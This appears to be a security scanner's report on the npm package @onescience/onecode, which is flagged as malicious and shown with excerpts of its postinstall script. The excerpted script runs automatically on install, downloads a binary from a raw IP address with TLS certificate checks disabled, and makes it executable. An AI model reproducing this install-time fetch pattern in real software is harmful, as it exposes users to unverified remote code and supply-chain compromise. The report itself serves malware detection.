onecode 1.14.50-202608031514
Disables TLS, downloads from raw IP
npm postinstall invokes a platform binary bootstrap and relinks CLI assetsSparse npm package uses install-time platform bootstrap
SHA-25600fc9da829501fc98313ada7d997a25e0db855c41f66e939d3e080adff773ee8
Also flagged by osv (MAL-2026-10717: Malicious code in @onescience/onecode (npm)) +1 more.
Evidence
1#!/usr/bin/env node
2/**
3 * Install-time platform bootstrap for @onescience/onecode.
4 * npm optionalDependencies fetch the platform tgz; this script links the binary
5 * and falls back to a direct download when optional install failed (e.g. TLS).
6 */
7
8import fs from "fs"
9import path from "path"
10import os from "os"
11import https from "https"
12import { fileURLToPath } from "url"
13import { execSync } from "child_process"
14
15const product = "onecode"
16const DEFAULT_TGZ_BASE = "https://218.90.133.98:4443/onecode_tgz"
17
18function detectPlatformAndArch() {
19 let platform
20 switch (os.platform()) {
21 case "darwin":
22 platform = "darwin"
23 break
24 case "linux":
25 platform = "linux"
26 break
⋯11 lines
38 arch = "x64"
39 break
40 case "arm64":
41 arch = "arm64"
42 break
⋯6 lines
⋯4 lines
71
72export function writePlatformInstallStamp(rootDir) {
73 fs.writeFileSync(platformInstallStampPath(rootDir), ownVersion(rootDir))
74}
75
76export function findPlatformBinary(rootDir) {
77 const packageName = p …
91:4… ction platformTgzUrl(version) {
92 const base = (process.env.ONECODE_TGZ_DOWNLOAD_BASE || DEFAULT_TGZ_BASE).replace(/\/$/, "")
93 const dir = encodeURIComponent(`onecode-${version}`)
94 const file = encodeURIComponent(`onecode-linux-x64-${version}.tgz`)
95 return `${base}/${dir}/${file}`
96}
97
98function downloadFile(url, dest) {
99 return new Promise((resolve, reject) => {
100 const file = fs.createWriteStream(dest)
101 const req = https.get(url, { rejectUnauthorized: false }, (res) => {
102 if (res.statusCode === 301 || res.statusCode === 302) {
103 file.close()
104 fs.unlinkSync(dest)
105 downloadFile(res.headers.location, dest).then(resolve).catch(reject)
106 return
107 }
⋯4 lines
112 return
113 }
114 res.pipe(file)
115 file.on("finish", () => file.close(resolve))
116 })
117 req.on("error", (err) => {
118 file.close()
119 if (fs.e …
⋯4 lines
124
125function moveDir(src, dest) {
126 fs.rmSync(dest, { recursive: true, force: true })
127 fs.mkdirSync(path.dirname(dest), { recursive: true })
128 try {
129 fs.renameSync(src, dest)
130 } catch (err) {
131 if (err?.code !== "EXDEV") throw err
132 fs.cpSync(src, dest, { recursive: true })
133 fs.rmSync(src, { recursive: true, force: true })
134 }
135}
136
137export function linkCachedBinary(rootDir, result) {
138 const target = path.join(rootDir, "bin", `.${product}`)
139 if (fs.existsSync(target)) fs.unlinkSync(target)
140 try {
141 fs.linkSync(result.binaryPath, target)
142 } catch {
143 fs.copyFileSync(result.binaryPath, target)
144 }
145 fs.chmodSync(target, 0o755)
146 return result.binaryPath
147}
148
149// Bundled assets shipped inside the platform package (.opencode/session-seed,
150// .opencode/oneskills, .oneskills/install-state) are discovered at runtime by
151// the platform binary via parent-d …
⋯4 lines
5 "license": "MIT",
6 "description": "OneScience AI coding agent for the terminal.",
7 "bin": {
8 "onecode": "./bin/onecode"
9 },
10 "scripts": {
11 "postinstall": "node ./postinstall.mjs"
12 }
13}
No evidence locations were recorded for this file. Raw result